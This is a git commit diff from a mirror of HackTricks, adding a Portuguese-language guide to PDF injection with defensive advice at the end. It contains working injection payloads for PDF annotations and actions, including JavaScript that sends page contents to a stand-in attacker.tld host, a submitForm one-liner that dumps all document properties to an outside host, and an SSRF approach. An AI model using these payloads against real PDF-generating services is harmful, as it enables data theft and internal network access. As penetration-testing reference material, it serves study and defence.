mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
0101bd0f0c
commit
8e9ea31ed5
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.**
|
||||
|
||||
Verifique o post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF.**
|
||||
A sintaxe PDF é extremamente permissiva – se você conseguir sair da string ou dicionário que está incorporando sua entrada, pode adicionar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar felizmente.
|
||||
Desde 2024, uma onda de relatórios de bug-bounty mostrou que *um parêntese ou barra invertida não escapado é suficiente* para a execução completa de scripts.
|
||||
|
||||
## TL;DR – Fluxo de Ataque Moderno (2024)
|
||||
1. Encontre qualquer valor controlado pelo usuário que acabe dentro de uma **(string de parênteses)**, `/URI ( … )` ou campo `/JS ( … )` no PDF gerado.
|
||||
2. Injetar `) ` (fechando a string) seguido por um dos primitivos abaixo e terminar com outro parêntese de abertura para manter a sintaxe válida.
|
||||
3. Entregar o PDF malicioso a uma vítima (ou a um serviço de backend que renderiza automaticamente o arquivo – ótimo para bugs blindos).
|
||||
4. Seu payload é executado no visualizador de PDF:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (veja CVE-2024-4367)
|
||||
* Acrobat → API JavaScript Completa (pode exfiltrar conteúdos de arquivos arbitrários com `this.getPageNthWord`)
|
||||
|
||||
Exemplo (sequestro de link de anotação):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*O primeiro `)` fecha a string URI original, em seguida, adicionamos um novo dicionário **Action** que o Acrobat executará quando o usuário clicar no link.*
|
||||
|
||||
## Primitivas de Injeção Úteis
|
||||
| Objetivo | Trecho de Payload | Notas |
|
||||
|----------|-------------------|-------|
|
||||
| **JavaScript ao abrir** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome). |
|
||||
| **JavaScript ao clicar no link** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Funciona no PDFium & Acrobat se você controlar uma anotação `/Link`. |
|
||||
| **Exfiltração de dados cega** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Combine com `this.getPageNthWord` dentro do JS para roubar conteúdo. |
|
||||
| **SSRF do lado do servidor** | O mesmo que acima, mas direciona para uma URL interna – ótimo quando o PDF é renderizado por serviços de back-office que respeitam `/URI`. |
|
||||
| **Quebra de linha para novos objetos** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Se a biblioteca permitir que você injete caracteres de nova linha, você pode criar objetos totalmente novos. |
|
||||
|
||||
## Truque de Enumeração Cega
|
||||
Gareth Heyes (PortSwigger) lançou uma linha única que enumera todos os objetos dentro de um documento desconhecido – útil quando você não pode ver o PDF gerado:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
O código itera sobre o DOM do Acrobat e faz solicitações externas para cada par de propriedade/valor, fornecendo um despejo *JSON-ish* do arquivo. Veja o white-paper “Portable Data **ex**Filtration” para a técnica completa.
|
||||
|
||||
## Bugs do Mundo Real (2023-2025)
|
||||
* **CVE-2024-4367** – Execução arbitrária de JavaScript no PDF.js do Firefox antes da versão 4.2.67 contornou o sandbox com uma ação `/JavaScript` manipulada.
|
||||
* **Bug bounty 2024-05** – Uma fintech importante permitiu notas de fatura fornecidas pelo cliente que foram parar em `/URI`; o relatório pagou $10k após demonstrar SSRF para o host de metadados interno usando `file:///` URI.
|
||||
* **CVE-2023-26155** – Injeção de comando `node-qpdf` via caminho PDF não sanitizado mostra a importância de escapar barras invertidas e parênteses mesmo *antes* da camada PDF.
|
||||
|
||||
## Cheatsheet Defensivo
|
||||
1. **Nunca concatene entrada bruta do usuário** dentro de strings ou nomes `(`…`)`. Escape `\`, `(`, `)` conforme exigido pelo §7.3 da especificação PDF ou use strings hexadecimais `<...>`.
|
||||
2. Se você construir links, prefira `/URI (https://…)` que você *totalmente* codifique em URL; bloqueie esquemas `javascript:` em visualizadores de cliente.
|
||||
3. Remova ou valide dicionários `/OpenAction`, `/AA` (ações adicionais), `/Launch`, `/SubmitForm` e `/ImportData` ao processar PDFs.
|
||||
4. No lado do servidor, renderize PDFs não confiáveis com um *conversor sem cabeça* (por exemplo, qpdf –decrypt –linearize) que remove JavaScript e ações externas.
|
||||
5. Mantenha os visualizadores de PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes de julho de 2024 permitem execução de código trivial.
|
||||
|
||||
## Referências
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (atualizado em maio de 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Execução Arbitrária de JavaScript no PDF.js” (abr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user